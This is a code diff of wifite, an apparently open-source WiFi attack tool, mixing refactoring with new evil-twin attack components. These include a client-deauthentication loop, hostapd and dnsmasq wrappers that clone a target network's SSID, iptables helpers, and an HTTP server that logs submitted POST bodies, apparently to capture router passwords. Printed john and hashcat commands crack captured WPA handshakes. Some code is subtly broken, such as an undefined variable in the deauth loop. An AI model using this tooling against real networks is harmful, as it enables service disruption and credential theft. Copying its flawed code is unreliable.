from ..util.color import Color

View File

@@ -1,4 +1,4 @@
#!/usr/bin/env python
#!/usr/bin/python2.7
# -*- coding: utf-8 -*-
from ..util.color import Color

View File

@@ -1,4 +1,4 @@
#!/usr/bin/env python
#!/usr/bin/python2.7
# -*- coding: utf-8 -*-
from ..util.color import Color

View File

@@ -1,4 +1,4 @@
#!/usr/bin/env python
#!/usr/bin/python2.7
# -*- coding: utf-8 -*-
from .dependency import Dependency

View File

@@ -1,4 +1,4 @@
#!/usr/bin/env python
#!/usr/bin/python2.7
# -*- coding: utf-8 -*-
from .dependency import Dependency
@@ -204,7 +204,7 @@ class Aireplay(Thread, Dependency):
if 'Got RELAYED packet' in line:
self.status = 'got relayed packet'
# XX:XX:XX That's our ARP packet!
# XX:XX:XX Thats our ARP packet!
if 'Thats our ARP packet' in line:
self.status = 'relayed packet was our'

View File

@@ -1,4 +1,4 @@
#!/usr/bin/env python
#!/usr/bin/python2.7
# -*- coding: utf-8 -*-
from .dependency import Dependency
@@ -19,14 +19,15 @@ class AirmonIface(object):
self.interface = interface
self.driver = driver
self.chipset = chipset
self.mac_address = Ifconfig.get_mac(interface)
# Max length of fields.
# Used for printing a table of interfaces.
# Max length of fields. Used for printing a table of interfaces.
INTERFACE_LEN = 12
PHY_LEN = 6
DRIVER_LEN = 20
CHIPSET_LEN = 30
def __str__(self):
''' Colored string representation of interface '''
s = ''
@@ -36,6 +37,7 @@ class AirmonIface(object):
s += Color.s('{W}%s' % self.chipset.ljust(self.CHIPSET_LEN))
return s
@staticmethod
def menu_header():
''' Colored header row for interfaces '''
@@ -51,12 +53,13 @@ class AirmonIface(object):
class Airmon(Dependency):
''' Wrapper around the 'airmon-ng' program '''
dependency_required = True
dependency_name = 'airmon-ng'
dependency_url = 'https://www.aircrack-ng.org/install.html'
base_interface = None
killed_network_manager = False
base_interface = None # Interface *before* it was put into monitor mode.
killed_network_manager = False # If we killed network-manager
# Drivers that need to be manually put into monitor mode
BAD_DRIVERS = ['rtl8821au']
@@ -65,18 +68,16 @@ class Airmon(Dependency):
ARPHRD_IEEE80211_RADIOTAP = 803 #monitor
def __init__(self):
self.refresh()
def refresh(self):
''' Get airmon-recognized interfaces '''
self.interfaces = Airmon.get_interfaces()
def print_menu(self):
''' Prints menu '''
print(AirmonIface.menu_header())
for idx, iface in enumerate(self.interfaces, start=1):
Color.pl(" {G}%d{W}. %s" % (idx, iface))
def get(self, index):
''' Gets interface at index (starts at 1) '''
if type(index) is str:
@@ -100,13 +101,11 @@ class Airmon(Dependency):
if phy == 'PHY' or phy == 'Interface':
continue # Header
if len(interface.strip()) == 0:
continue
interfaces.append(AirmonIface(phy, interface, driver, chipset))
return interfaces
@staticmethod
def start_bad_driver(iface):
'''
@@ -126,6 +125,7 @@ class Airmon(Dependency):
return None
@staticmethod
def stop_bad_driver(iface):
'''
@@ -145,6 +145,7 @@ class Airmon(Dependency):
return None
@staticmethod
def start(iface):
'''
@@ -199,18 +200,26 @@ class Airmon(Dependency):
return enabled_iface
@staticmethod
def _parse_airmon_start(airmon_output):
'''Find the interface put into monitor mode (if any)'''
'''Returns the interface name that was put into monitor mode (if any)'''
# airmon-ng output: (mac80211 monitor mode vif enabled for [phy10]wlan0 on [phy10]wlan0mon)
enabled_re = re.compile(r'\s*\(mac80211 monitor mode (?:vif )?enabled for [^ ]+ on (?:\[\w+\])?(\w+)\)\s*')
# airmon-ng output from https://www.aircrack-ng.org/doku.php?id=iwlagn
enabled_re2 = re.compile(r'\s*\(monitor mode enabled on (\w+)\)')
for line in airmon_output.split('\n'):
matches = enabled_re.match(line)
if matches:
return matches.group(1)
matches = enabled_re2.match(line)
if matches:
return matches.group(1)
return None
@@ -277,15 +286,16 @@ class Airmon(Dependency):
Airmon.terminate_conflicting_processes()
Color.pl('\n{+} looking for {C}wireless interfaces{W}')
Color.p('\n{+} looking for {C}wireless interfaces{W}... ')
monitor_interfaces = Iwconfig.get_interfaces(mode='Monitor')
if len(monitor_interfaces) == 1:
# Assume we're using the device already in montior mode
iface = monitor_interfaces[0]
Color.pl(' using interface {G}%s{W} (already in monitor mode)' % iface);
Color.pl(' you can specify the wireless interface using {C}-i wlan0{W}')
Color.pl('using interface {G}%s{W} (already in monitor mode)' % iface);
#Color.pl(' you can specify the wireless interface using {C}-i wlan0{W}')
Airmon.base_interface = None
return iface
Color.pl('')
a = Airmon()
count = len(a.interfaces)
@@ -343,11 +353,8 @@ class Airmon(Dependency):
if not Configuration.kill_conflicting_processes:
# Don't kill processes, warn user
names_and_pids = ', '.join([
'{R}%s{O} (PID {R}%s{O})' % (pname, pid)
for pid, pname in pid_pnames
])
Color.pl('{!} {O}conflicting processes: %s' % names_and_pids)
for pid, pname in pid_pnames:
Color.pl('{!} {O}conflicting process: {R}%s{O} (PID {R}%s{O})' % (pname, pid))
Color.pl('{!} {O}if you have problems: {R}kill -9 PID{O} or re-run wifite with {R}--kill{O}){W}')
return
@@ -360,10 +367,7 @@ class Airmon(Dependency):
Airmon.killed_network_manager = True
else:
Color.pl('{!} {R}terminating {O}conflicting process {R}%s{O} (PID {R}%s{O})' % (pname, pid))
try:
os.kill(int(pid), signal.SIGTERM)
except:
pass
@staticmethod
@@ -372,6 +376,7 @@ class Airmon(Dependency):
Ifconfig.up(iface)
Color.pl(" {G}done{W}")
@staticmethod
def start_network_manager():
Color.p("{!} {O}restarting {R}NetworkManager{O}...")
@@ -412,3 +417,4 @@ if __name__ == '__main__':
(disabled_iface, enabled_iface) = Airmon.stop(iface)
print("Disabled:", disabled_iface)
print("Enabled:", enabled_iface)

View File

@@ -1,4 +1,4 @@
#!/usr/bin/env python
#!/usr/bin/python2.7
# -*- coding: utf-8 -*-
from .dependency import Dependency
@@ -137,7 +137,7 @@ class Airodump(Dependency):
if fil.startswith('replay_') and fil.endswith('.cap') or fil.endswith('.xor'):
os.remove(os.path.join(temp_dir, fil))
def get_targets(self, old_targets=[], apply_filter=True):
def get_targets(self, apply_filter=True):
''' Parses airodump's CSV file, returns list of Targets '''
# Find the .CSV file
@@ -150,17 +150,13 @@ class Airodump(Dependency):
return self.targets # No file found
targets = Airodump.get_targets_from_csv(csv_filename)
for old_target in old_targets:
for target in targets:
if old_target.bssid == target.bssid:
target.wps = old_target.wps
# Check targets for WPS
if not self.skip_wps:
capfile = csv_filename[:-3] + 'cap'
try:
Tshark.check_for_wps_and_update_targets(capfile, targets)
except ValueError:
except Exception as e:
# No tshark, or it failed. Fall-back to wash
Wash.check_for_wps_and_update_targets(capfile, targets)
@@ -182,6 +178,9 @@ class Airodump(Dependency):
new_target.decloaked = True
self.decloaked_bssids.add(new_target.bssid)
if self.pid.poll() is not None:
raise Exception('Airodump has stopped')
self.targets = targets
self.deauth_hidden_targets()
@@ -193,9 +192,10 @@ class Airodump(Dependency):
'''Returns list of Target objects parsed from CSV file.'''
targets = []
import csv
with open(csv_filename, 'r') as csvopen:
with open(csv_filename, 'rb') as csvopen:
lines = []
for line in csvopen:
if type(line) is bytes: line = line.decode('utf-8')
line = line.replace('\0', '')
lines.append(line)
csv_reader = csv.reader(lines,

View File

@@ -1,4 +1,4 @@
#!/usr/bin/env python
#!/usr/bin/python2.7
# -*- coding: utf-8 -*-
from .dependency import Dependency

49
wifite/tools/dependency.py Executable file → Normal file
View File

@@ -1,4 +1,4 @@
#!/usr/bin/env python
#!/usr/bin/python2.7
# -*- coding: utf-8 -*-
class Dependency(object):
@@ -9,52 +9,11 @@ class Dependency(object):
for attr_name in cls.required_attr_names:
if not attr_name in cls.__dict__:
raise NotImplementedError(
"Attribute '{}' has not been overridden in class '{}'" \
"Attribute '{}' has not been overriden in class '{}'" \
.format(attr_name, cls.__name__)
)
@classmethod
def run_dependency_check(cls):
from ..util.color import Color
from .airmon import Airmon
from .airodump import Airodump
from .aircrack import Aircrack
from .aireplay import Aireplay
from .ifconfig import Ifconfig
from .iwconfig import Iwconfig
from .bully import Bully
from .reaver import Reaver
from .wash import Wash
from .pyrit import Pyrit
from .tshark import Tshark
from .macchanger import Macchanger
from .hashcat import Hashcat, HcxDumpTool, HcxPcapTool
apps = [
# Aircrack
Aircrack, #Airodump, Airmon, Aireplay,
# wireless/net tools
Iwconfig, Ifconfig,
# WPS
Reaver, Bully,
# Cracking/handshakes
Pyrit, Tshark,
# Hashcat
Hashcat, HcxDumpTool, HcxPcapTool,
# Misc
Macchanger
]
missing_required = any([app.fails_dependency_check() for app in apps])
if missing_required:
Color.pl('{!} {R}required app(s) were not found, exiting.{W}')
import sys
sys.exit(-1)
@classmethod
def fails_dependency_check(cls):
from ..util.color import Color
@@ -64,11 +23,11 @@ class Dependency(object):
return False
if cls.dependency_required:
Color.pp('{!} {R}error: required app {O}%s{R} was not found' % cls.dependency_name)
Color.pl('{!} {R}error: required app {O}%s{R} was not found' % cls.dependency_name)
Color.pl(' {W}install @ {C}%s{W}' % cls.dependency_url)
return True
else:
Color.p('{!} {O}warning: recommended app {R}%s{O} was not found' % cls.dependency_name)
Color.pl('{!} {O}warning: recommended app {R}%s{O} was not found' % cls.dependency_name)
Color.pl(' {W}install @ {C}%s{W}' % cls.dependency_url)
return False

71
wifite/tools/dnsmasq.py Executable file
View File

@@ -0,0 +1,71 @@
#!/usr/bin/python2.7
# -*- coding: utf-8 -*-
import os
from .dependency import Dependency
from ..util.process import Process
from ..config import Configuration
class Dnsmasq(Dependency):
'''Wrapper for dnsmasq program.'''
dependency_required = False
dependency_name = 'dnsmasq'
dependency_url = 'apt-get install dnsmasq'
def __init__(self, interface):
self.interface = interface
self.pid = None
self.config_file = None
def create_config_file(self):
self.config_file = os.path.join(Configuration.temp(), 'dnsmasq.conf')
if os.path.exists(self.config_file):
os.remove(self.config_file)
with open(self.config_file, 'w') as config:
config.write('interface={}\n'.format(self.interface))
config.write('dhcp-range=10.0.0.10,10.0.0.100,8h\n')
config.write('dhcp-option=3,10.0.0.1\n')
config.write('dhcp-option=6,10.0.0.1\n')
config.write('server=8.8.8.8\n')
config.write('log-queries\n')
config.write('log-dhcp\n')
def start(self):
self.create_config_file()
# Stop already-running dnsmasq process
self.killall()
# Start new dnsmasq process
self.pid = Process([
'dnsmasq',
'-C', self.config_file
])
def stop(self):
# Kill dnsmasq process
if self.pid and self.pid.poll() is not None:
self.pid.interrupt()
self.killall()
if self.config_file and os.path.exists(self.config_file):
os.remove(self.config_file)
def killall(self):
Process(['killall', 'dnsmasq']).wait()
# TODO: Wait until dnsmasq is completely stopped.
def check(self):
if self.pid.poll() is not None:
raise Exception('dnsmasq stopped running, exit code: %d, output: %s' % (self.pid.poll(), self.pid.stdout()))
# TODO: Check logs/output for problems

View File

@@ -0,0 +1,84 @@
#!/usr/bin/python2.7
# -*- coding: utf-8 -*-
from BaseHTTPServer import HTTPServer, BaseHTTPRequestHandler
from threading import Thread
class EviltwinServer(HTTPServer, object):
def __init__(self, success_callback, error_callback, port=80):
self.thread = None
# Store state in server
self.success_callback = success_callback
self.error_callback = error_callback
self.request_count = 0
self.router_pages_served = 0
# Initialize with our request handler
super(EviltwinServer, self).__init__(('', port), EviltwinRequestHandler)
def start(self):
self.thread = Thread(target=self.serve_forever)
self.thread.start()
def stop(self):
# From https://stackoverflow.com/a/268686
self.shutdown()
self.socket.close()
if self.thread:
self.thread.join()
def request_count(self):
return self.request_count
def router_pages_served(self):
return self.router_pages_served
class EviltwinRequestHandler(BaseHTTPRequestHandler):
def do_GET(self):
self.server.request_count += 1
request_path = self.path
# TODO: URL mappings to load specific pages. E.g. Apple/Android "pings"
print('\n----- Request Start ----->\n')
print(request_path)
print(self.headers)
print('<----- Request End -----\n')
self.send_response(200)
self.send_header('Content-type', 'text/html')
self.end_headers()
self.wfile.write('<html><head><title>Title goes here.</title></head>')
self.wfile.write('<body><p>This is a test.</p>')
# If someone went to 'http://something.somewhere.net/foo/bar/',
# then s.path equals '/foo/bar/'.
self.wfile.write('<p>You accessed path: %s</p>' % self.path)
self.wfile.write('</body></html>')
def do_POST(self):
self.server.request_count += 1
request_path = self.path
# TODO: If path includes router password, call self.server.success_callback
# TODO: Verify router passwords via separate interface?
print('\n----- Request Start ----->\n')
print(request_path)
request_headers = self.headers
content_length = request_headers.getheaders('content-length')
length = int(content_length[0]) if content_length else 0
print(request_headers)
print(self.rfile.read(length))
print('<----- Request End -----\n')
self.send_response(200)
do_PUT = do_POST
do_DELETE = do_GET

View File

@@ -1,132 +0,0 @@
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from .dependency import Dependency
from ..config import Configuration
from ..util.process import Process
from ..util.color import Color
import os
class Hashcat(Dependency):
dependency_required = False
dependency_name = 'hashcat'
dependency_url = 'https://hashcat.net/hashcat/'
@staticmethod
def crack_pmkid(pmkid_file):
'''
Cracks a given pmkid_file using the PMKID/WPA2 attack (-m 16800)
Returns:
Key (str) if found; `None` if not found.
'''
# Run hashcat once normally, then with --show if it failed
# To catch cases where the password is already in the pot file.
for additional_arg in [ [], ['--show']]:
command = [
'hashcat',
'--force',
'--quiet', # Only output the password if found.
'-m', '16800', # WPA-PMKID-PBKDF2
'-a', '0', # TODO: Configure
'-w', '2', # TODO: Configure
pmkid_file,
Configuration.wordlist
]
command.extend(additional_arg)
# TODO: Check status of hashcat (%); it's impossible with --quiet
try:
hashcat_proc = Process(command)
hashcat_proc.wait()
stdout = hashcat_proc.stdout()
except KeyboardInterrupt: # In case user gets impatient
Color.pl('\n{!} {O}Interrupted hashcat cracking{W}')
stdout = ''
if ':' not in stdout:
# Failed
continue
else:
# Cracked
key = stdout.strip().split(':', 1)[1]
return key
class HcxDumpTool(Dependency):
dependency_required = False
dependency_name = 'hcxdumptool'
dependency_url = 'https://github.com/ZerBea/hcxdumptool'
def __init__(self, target, pcapng_file):
# Create filterlist
filterlist = Configuration.temp('pmkid.filterlist')
with open(filterlist, 'w') as filter_handle:
filter_handle.write(target.bssid.replace(':', ''))
if os.path.exists(pcapng_file):
os.remove(pcapng_file)
command = [
"hcxdumptool",
"-i", Configuration.interface,
"--filterlist", filterlist,
"--filtermode", "2",
"-c", str(target.channel),
"-o", pcapng_file
]
self.proc = Process(command)
def poll(self):
return self.proc.poll()
def interrupt(self):
self.proc.interrupt()
class HcxPcapTool(Dependency):
dependency_required = False
dependency_name = 'hcxpcaptool'
dependency_url = 'https://github.com/ZerBea/hcxtools'
def __init__(self, target):
self.target = target
self.bssid = self.target.bssid.lower().replace(':', '')
self.pmkid_file = Configuration.temp('pmkid-%s.16800' % self.bssid)
def get_pmkid_hash(self, pcapng_file):
if os.path.exists(self.pmkid_file):
os.remove(self.pmkid_file)
command = [
'hcxpcaptool',
'-z', self.pmkid_file,
pcapng_file
]
hcxpcap_proc = Process(command)
hcxpcap_proc.wait()
if not os.path.exists(self.pmkid_file):
return None
with open(self.pmkid_file, 'r') as f:
output = f.read()
# Each line looks like:
# hash*bssid*station*essid
# Note: The dumptool will record *anything* it finds, ignoring the filterlist.
# Check that we got the right target (filter by BSSID)
matching_pmkid_hash = None
for line in output.split('\n'):
fields = line.split('*')
if len(fields) >= 3 and fields[1].lower() == self.bssid:
# Found it
matching_pmkid_hash = line
break
os.remove(self.pmkid_file)
return matching_pmkid_hash

94
wifite/tools/hostapd.py Executable file
View File

@@ -0,0 +1,94 @@
#!/usr/bin/python2.7
# -*- coding: utf-8 -*-
import re
import os
from .dependency import Dependency
from ..config import Configuration
from ..util.process import Process
class Hostapd(Dependency):
process_name = 'hostapd'
dependency_required = False
dependency_name = process_name
dependency_url = 'apt-get install hostapd'
@classmethod
def exists(cls):
return Process.exists(cls.process_name)
def __init__(self, target, interface):
self.target = target
self.interface = interface
self.pid = None
self.config_file = None
self.output_file = None
self.output_write = None
self.state = 'Initializing'
def create_config_file(self):
if not self.target.essid_known:
self.state = 'Error: Target ESSID is not known'
raise Exception('Cannot start hostapd if target has unknown SSID')
self.config_file = os.path.abspath(os.path.join(Configuration.temp(), 'hostapd.conf'))
with open(self.config_file, 'w') as config:
config.write('driver=nl80211\n')
config.write('ssid={}\n'.format(self.target.essid))
# TODO: support 5ghz
config.write('hw_mode=g\n')
config.write('channel={}\n'.format(self.target.channel))
config.write('logger_syslog=-1\n')
config.write('logger_syslog_level=2\n')
def start(self):
self.create_config_file()
self.killall()
temp = Configuration.temp()
self.output_file = os.path.abspath(os.path.join(temp, 'hostapd.out'))
self.output_write = open(self.output_file, 'a')
command = [
self.process_name,
'-i', self.interface,
self.config_file
]
self.pid = Process(command, stdout=self.output_write, cwd=temp)
def stop(self):
if self.pid and self.pid.poll() is not None:
self.pid.interrupt()
self.killall()
# TODO: Wait until hostapd is completely stopped.
if self.output_write:
self.output_write.close()
if self.config_file and os.path.exists(self.config_file):
os.remove(self.config_file)
if self.output_file and os.path.exists(self.output_file):
os.remove(self.output_file)
def killall(self):
Process(['killall', self.process_name]).wait()
def check(self):
if self.pid.poll() is not None:
raise Exception('hostapd stopped running, exit code: %d, output: %s' % (self.pid.poll(), self.pid.stdout()))
# TODO: Check hostapd logs / output for any problems.

View File

@@ -1,4 +1,4 @@
#!/usr/bin/env python
#!/usr/bin/python2.7
# -*- coding: utf-8 -*-
import re

73
wifite/tools/iptables.py Normal file
View File

@@ -0,0 +1,73 @@
#!/usr/bin/python2.7
# -*- coding: utf-8 -*-
import re
from .dependency import Dependency
from ..util.process import Process
class Iptables(Dependency):
process_name = 'iptables'
dependency_required = False
dependency_name = process_name
dependency_url = 'apt-get install iptables'
@classmethod
def exists(cls):
return Process.exists(cls.process_name)
@classmethod
def __exec(cls, args, expect_return_code=0):
# Helper method for executing iptables commands.
if type(args) is str:
args = args.split(' ')
command = [cls.process_name] + args
pid = Process(command)
pid.wait()
if expect_return_code and pid.poll() != 0:
raise Exception('Error executing %s:\n%s\n%s' % (' '.join(command), pid.stdout(), pid.stderr()))
# -N, --new-chain <chain>
@classmethod
def new_chain(cls, chain_name, table):
args = ['-N', chain_name, '-t', table]
cls.__exec(args)
# -A, --append <chain> <rule-specification>
@classmethod
def append(cls, chain, table=None, rules=[]):
args = []
if table is not None:
args.extend(['-t', table])
args.extend(['-A', chain])
args.extend(rules)
cls.__exec(args)
# -F, --flush <chain>
@classmethod
def flush(cls, table=None):
args = []
if table is not None:
args.extend(['-t', table])
args.append('-F')
cls.__exec(args)
# -X, --delete-chain <chain>
@classmethod
def delete_chain(cls, table=None):
args = []
if table is not None:
args.extend(['-t', table])
args.append('-X')
cls.__exec(args)

View File

@@ -1,4 +1,4 @@
#!/usr/bin/env python
#!/usr/bin/python2.7
# -*- coding: utf-8 -*-
from .dependency import Dependency
@@ -29,7 +29,6 @@ class Iwconfig(Dependency):
from ..util.process import Process
interfaces = set()
iface = ''
(out, err) = Process.call('iwconfig')
for line in out.split('\n'):
@@ -38,16 +37,11 @@ class Iwconfig(Dependency):
if not line.startswith(' '):
iface = line.split(' ')[0]
if '\t' in iface:
iface = iface.split('\t')[0].strip()
iface = iface.strip()
if len(iface) == 0:
continue
iface = iface.split('\t')[0]
if mode is None:
interfaces.add(iface)
if mode is not None and 'Mode:{}'.format(mode) in line and len(iface) > 0:
if mode is not None and 'mode:{}'.format(mode.lower()) in line.lower():
interfaces.add(iface)
return list(interfaces)

View File

@@ -1,4 +1,4 @@
#!/usr/bin/env python
#!/usr/bin/python2.7
# -*- coding: utf-8 -*-
from .dependency import Dependency

View File

@@ -1,4 +1,4 @@
#!/usr/bin/env python
#!/usr/bin/python2.7
# -*- coding: utf-8 -*-
from .dependency import Dependency

View File

@@ -1,4 +1,4 @@
#!/usr/bin/env python
#!/usr/bin/python2.7
# -*- coding: utf-8 -*-
from .dependency import Dependency

View File

@@ -1,4 +1,4 @@
#!/usr/bin/env python
#!/usr/bin/python2.7
# -*- coding: utf-8 -*-
from .dependency import Dependency
@@ -161,7 +161,7 @@ class Tshark(Dependency):
'''
if not Tshark.exists():
raise ValueError('Cannot detect WPS networks: Tshark does not exist')
raise Exception('Cannot detect WPS networks: Tshark does not exist')
command = [
'tshark',

View File

@@ -1,4 +1,4 @@
#!/usr/bin/env python
#!/usr/bin/python2.7
# -*- coding: utf-8 -*-
from .dependency import Dependency

View File

@@ -1,4 +1,4 @@
#!/usr/bin/env python
#!/usr/bin/python2.7
# -*- coding: utf-8 -*-
import sys

View File

@@ -1,4 +1,4 @@
#!/usr/bin/env python
#!/usr/bin/python2.7
# -*- coding: utf-8 -*-
from ..util.process import Process
@@ -14,8 +14,6 @@ import os
class CrackHandshake(object):
def __init__(self):
self.wordlist = Configuration.wordlist or "path_to_wordlist_here"
if os.path.exists(self.wordlist):
self.wordlist = os.path.abspath(self.wordlist)
handshake = self.choose_handshake()
self.crack_handshake(handshake)
@@ -51,18 +49,16 @@ class CrackHandshake(object):
def print_john(self, cap_file):
Color.pl("")
Color.pl(" {O}# JOHN: CPU or GPU-based cracking. Fast.")
if not Process.exists("john"):
Color.pl(" {O}# {R}john{O} is not installed. More info on installing {R}John The Ripper{O} here: {C}http://www.openwall.com/john/{W}");
else:
Color.pl(" {R}john not found.");
Color.pl(" {O}More info on installing {R}John The Ripper{O} here: {C}http://www.openwall.com/john/{W}");
return
Color.pl(" {O}# JOHN: CPU or GPU-based cracking. Fast.")
Color.pl(" {O}# Use --format=wpapsk-cuda (or wpapsk-opengl) to enable GPU acceleration")
Color.pl(" {O}# See http://openwall.info/wiki/john/WPA-PSK for more info on this process")
Color.pl(" {O}# Generate hccap file:")
Color.pl(" {G}aircrack-ng {W}-J hccap {C}%s{W}" % cap_file)
Color.pl(" {O}# Convert hccap file to john file:")
Color.pl(" {G}hccap2john {C}hccap.hccap {W}> {C}%s.john{W}" % cap_file)
Color.pl(" {O}# Crack john file:")
Color.pl(" {G}john {W}--wordlist {C}\"%s\" {W}--format=wpapsk {C}\"%s.john\"{W}" % (self.wordlist, cap_file))
Color.pl(" {G}hccap2john {C}hccap.hccap {W}> {C}hccap.john{W}")
Color.pl(" {G}john {W}--wordlist {C}\"%s\" {W}--format=wpapsk {C}\"hccap.john\"{W}" % (self.wordlist))
def print_oclhashcat(self, cap_file):
Color.pl("")
@@ -72,19 +68,17 @@ class CrackHandshake(object):
return
Color.pl(" {O}# HASHCAT: GPU-based cracking. Fast.")
Color.pl(" {O}# See {C}https://hashcat.net/wiki/doku.php?id=cracking_wpawpa2 {O}for more info")
Color.pl(" {O}# Step 1: Generate .hccapx file")
hccapx_file = "/tmp/generated.hccapx"
cap2hccapx = "/usr/lib/hashcat-utils/cap2hccapx.bin"
if os.path.exists(cap2hccapx):
Color.pl(" {G} %s {W}%s {C}%s{W}" % (cap2hccapx, cap_file, hccapx_file))
Color.pl(" {G}%s {W}%s {C}%s{W}" % (cap2hccapx, cap_file, hccapx_file))
else:
Color.pl(" {O}# Install {R}cap2hccapx{O}: {C}https://hashcat.net/wiki/doku.php?id=hashcat_utils")
Color.pl(" {G}./cap2hccapx.bin {W}%s {C}%s{W}" % (cap_file, hccapx_file))
Color.pl(" {O}# Install hashcat-utils: {C}https://hashcat.net/wiki/doku.php?id=hashcat_utils")
Color.pl(" {C}cap2hccapx.bin {W}%s {C}%s{W}" % (cap_file, hccapx_file))
Color.pl(" {O}# OR visit https://hashcat.net/cap2hccapx to generate a .hccapx file{W}")
Color.pl(" {O}# Then click BROWSE -> %s -> CONVERT and save to %s" % (cap_file, hccapx_file))
Color.pl(" {O}# Step 2: Crack the .hccapx file")
Color.pl(" {G}hashcat {W}-m 2500 {C}%s %s{W}" % (hccapx_file, self.wordlist))
def choose_handshake(self):

56
wifite/util/deauther.py Normal file
View File

@@ -0,0 +1,56 @@
#!/usr/bin/python2.7
# -*- coding: utf-8 -*-
import time
from ..tools.aireplay import Aireplay
from ..tools.ifconfig import Ifconfig
class Deauther(object):
'''
Deauthenticates clients associated with a target.
For use with EvilTwin.
'''
def __init__(self, interface, target):
self.interface = interface
self.interface_mac = Ifconfig.get_mac(interface)
self.target = target
self.running = False
self.clients = set()
def update_target(self, target):
# Refresh target (including list of clients)
self.target = target
def update_clients(self):
# Refreshes list of clients connected to target
for client in self.target.clients:
bssid = client.station
if bssid.lower() == self.interface_mac:
continue # Ignore this interface
elif bssid not in self.clients:
self.clients.add(bssid)
def start(self):
self.running = True
while self.running:
# Refresh list of clients
self.update_clients()
# Deauth clients
bssid = self.target.bssid
essid = self.target.essid if self.target.essid_known else None
for client_mac in clients:
Aireplay.deauth(bssid, essid=essid, client_mac=client_mac)
time.sleep(1)
def stop(self):
self.running = False

View File

@@ -1,4 +1,4 @@
#!/usr/bin/env python
#!/usr/bin/python2.7
# -*- coding: utf-8 -*-
# Fix for raw_input on python3: https://stackoverflow.com/a/7321970

View File

@@ -1,4 +1,4 @@
#!/usr/bin/env python
#!/usr/bin/python2.7
# -*- coding: utf-8 -*-
import time
@@ -93,11 +93,8 @@ class Process(object):
Ran when object is GC'd.
If process is still running at this point, it should die.
'''
try:
if self.pid and self.pid.poll() is None:
self.interrupt()
except AttributeError:
pass
def stdout(self):
''' Waits for process to finish, returns stdout output '''
@@ -180,30 +177,23 @@ class Process(object):
if __name__ == '__main__':
Configuration.initialize(False)
p = Process('ls')
print(p.stdout())
print(p.stderr())
print(p.stdout(), p.stderr())
p.interrupt()
# Calling as list of arguments
(out, err) = Process.call(['ls', '-lah'])
print(out)
print(err)
print(out, err)
print('\n---------------------\n')
# Calling as string
(out, err) = Process.call('ls -l | head -2')
print(out)
print(err)
print(out, err)
print('"reaver" exists: %s' % Process.exists('reaver'))
print('"reaver" exists:', Process.exists('reaver'))
# Test on never-ending process
p = Process('yes')
print("Running yes...")
time.sleep(1)
print("yes should stop now")
# After program loses reference to instance in 'p', process dies.

View File

@@ -1,4 +1,4 @@
#!/usr/bin/env python
#!/usr/bin/python2.7
# -*- coding: utf-8 -*-
from ..tools.airodump import Airodump
@@ -36,18 +36,18 @@ class Scanner(object):
while True:
if airodump.pid.poll() is not None:
# Airodump process died
return
self.err_msg = '\r{!} {R}Airodump exited unexpectedly (Code: %d){O} Command: {W}%s' % (airodump.pid.poll(), " ".join(airodump.pid.command))
raise KeyboardInterrupt
self.targets = airodump.get_targets(old_targets=self.targets)
try:
self.targets = airodump.get_targets()
except Exception as e:
break
if self.found_target():
# We found the target we want
return
if airodump.pid.poll() is not None:
# Airodump process died
return
for target in self.targets:
if target.bssid in airodump.decloaked_bssids:
target.decloaked = True
@@ -72,7 +72,6 @@ class Scanner(object):
return
sleep(1)
except KeyboardInterrupt:
pass

View File

@@ -1,4 +1,4 @@
#!/usr/bin/env python
#!/usr/bin/python2.7
# -*- coding: utf-8 -*-
import time

View File

@@ -1,4 +1,4 @@
#!/usr/bin/env python
#!/usr/bin/python3.7
# -*- coding: utf-8 -*-
try:
@@ -11,11 +11,14 @@ from .util.process import Process
from .util.color import Color
from .util.crack import CrackHandshake
from .util.input import raw_input
from .attack.all import AttackAll
from .attack.wep import AttackWEP
from .attack.wpa import AttackWPA
from .attack.wps import AttackWPS
from .attack.eviltwin import EvilTwinAttack
from .model.result import CrackResult
from .model.handshake import Handshake
from .tools.dependency import Dependency
import json
import os
import sys
@@ -31,20 +34,107 @@ class Wifite(object):
Configuration.initialize(load_interface=False)
Dependency.run_dependency_check()
self.dependency_check()
if Configuration.show_cracked:
CrackResult.display()
self.display_cracked()
elif Configuration.check_handshake:
Handshake.check()
self.check_handshake(Configuration.check_handshake)
elif Configuration.crack_handshake:
CrackHandshake()
else:
Configuration.get_monitor_mode_interface()
self.run()
def dependency_check(self):
''' Check that required programs are installed '''
from .tools.airmon import Airmon
from .tools.airodump import Airodump
from .tools.aircrack import Aircrack
from .tools.aireplay import Aireplay
from .tools.ifconfig import Ifconfig
from .tools.iwconfig import Iwconfig
from .tools.hostapd import Hostapd
from .tools.dnsmasq import Dnsmasq
from .tools.iptables import Iptables
from .tools.bully import Bully
from .tools.reaver import Reaver
from .tools.wash import Wash
from .tools.pyrit import Pyrit
from .tools.tshark import Tshark
from .tools.macchanger import Macchanger
apps = [
# Aircrack
Airmon, Airodump, Aircrack, Aireplay,
# wireless/net tools
Iwconfig, Ifconfig,
# WPS
Reaver, Bully,
# Cracking/handshakes
Pyrit, Tshark,
# Misc
Macchanger
]
if Configuration.use_eviltwin:
apps.extend([Hostapd, Dnsmasq, Iptables])
missing_required = any([app.fails_dependency_check() for app in apps])
if missing_required:
Color.pl('{!} {R}required app(s) were not found, exiting.{W}')
sys.exit(-1)
#if missing_optional:
# Color.pl('{!} {O}recommended app(s) were not found')
# Color.pl('{!} {O}wifite may not work as expected{W}')
def display_cracked(self):
''' Show cracked targets from cracked.txt '''
name = CrackResult.cracked_file
if not os.path.exists(name):
Color.pl('{!} {O}file {C}%s{O} not found{W}' % name)
return
with open(name, 'r') as fid:
cracked_targets = json.loads(fid.read())
if len(cracked_targets) == 0:
Color.pl('{!} {R}no results found in {O}%s{W}' % name)
else:
Color.pl('{+} displaying {G}%d {C}cracked target(s){W}\n' % len(cracked_targets))
for item in cracked_targets:
cr = CrackResult.load(item)
cr.dump()
Color.pl('')
def check_handshake(self, capfile):
''' Analyzes .cap file for handshake '''
if capfile == '<all>':
Color.pl('{+} checking all handshakes in {G}"./hs"{W} directory\n')
try:
capfiles = [os.path.join('hs', x) for x in os.listdir('hs') if x.endswith('.cap')]
except OSError as e:
capfiles = []
if len(capfiles) == 0:
Color.pl('{!} {R}no .cap files found in {O}"./hs"{W}\n')
else:
capfiles = [capfile]
for capfile in capfiles:
Color.pl('{+} checking for handshake in .cap file {C}%s{W}' % capfile)
if not os.path.exists(capfile):
Color.pl('{!} {O}.cap file {C}%s{O} not found{W}' % capfile)
return
hs = Handshake(capfile, bssid=Configuration.target_bssid, essid=Configuration.target_essid)
hs.analyze()
Color.pl('')
def run(self):
'''
Main program.
@@ -58,19 +148,97 @@ class Wifite(object):
else:
